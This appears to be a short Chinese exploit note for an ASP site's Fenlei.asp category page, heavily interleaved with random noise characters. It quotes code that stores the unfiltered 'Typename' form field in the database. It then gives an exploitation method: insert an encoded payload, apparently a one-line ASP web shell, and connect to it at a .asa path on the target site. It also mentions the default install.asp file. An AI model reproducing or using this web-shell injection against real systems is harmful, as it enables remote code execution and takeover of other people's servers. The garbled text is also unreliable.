'Fenlei.asp
1 U. N0 o1 }6 G" p, I. \& k8 F8 n9 \3 [ M6 }4 x
IF Request.QueryString("Action")="del" Then
) @4 u! B+ c3 LID=Request.QueryString("ID") 0 q1 Z: o6 v2 Q7 \% y) D7 a
IF Countss ("tui","Fenlei",ID )<>0 then
7 \& f- Y, Z- K7 X$ r'略 * Z; j8 d; m/ B" Z
IF Request.QueryString("Action")="Add" Then 9 z- P3 v4 H: m$ v' _( Z
Tname=Request.Form("Typename")
9 P' b9 y9 P) BSet Rs=Server.CreateObject("adodb.Recordset")
7 X, }4 d/ c; O: y+ f8 dSql="Select * From Fenlei Order by id Desc " - b* O4 N( U9 t+ }) c
Rs.Open Sql,Conn,1,3
7 M5 X0 w+ R9 ORs.Addnew
1 U3 {8 t* t3 p" h! }Rs("Typename")=Tname
$ o5 e$ q9 c( w) b# n6 P; L'略
6 u$ f, _, s6 `9 n( S5 _2 _) |Set Rs=Server.CreateObject("adodb.Recordset")
% }5 O8 e; w8 Y2 V" f+ TSql="Select * From Fenlei Order by id Desc "
1 e+ U/ Q: s- oRs.Open Sql,Conn,1,1 # q& J6 r1 d4 `! X- D/ g+ U9 w
'略 3 A- j( L+ @9 U, r8 K
%>
' v" B' o; {' f ' ~+ G( b4 p0 r& P% X( X
! E/ R. H; f; B; w( a/ b9 D 2 z. ]9 p9 Y$ C3 z6 W
没有过滤,直接写入数据库。
, x) Q( s* H( A) U0 L6 O
8 [- I& d1 g) q% D; q- x, o, ]) T p利用方法:
& z3 ]: s+ z2 O; v: \
0 H! f2 o" A7 e' ?$ W插入:┼攠數畣整爠煥敵瑳∨≡┩>1 q/ ?1 S/ b. ~" L/ ^- J$ o
; ]3 D( ?5 N' }- ^* Y& D 7 v5 e5 k& @( f7 N5 l7 }- S2 n
连接: http://www.xxx.com/###tongbaner.asa
& Q5 \0 j& }) ]: p3 v8 o'默认安装文件:
. O$ J8 t4 p8 ]( g3 D4 o+ x. \'install.asp
6 I$ V3 f2 P* Z6 j1 q4 q* i |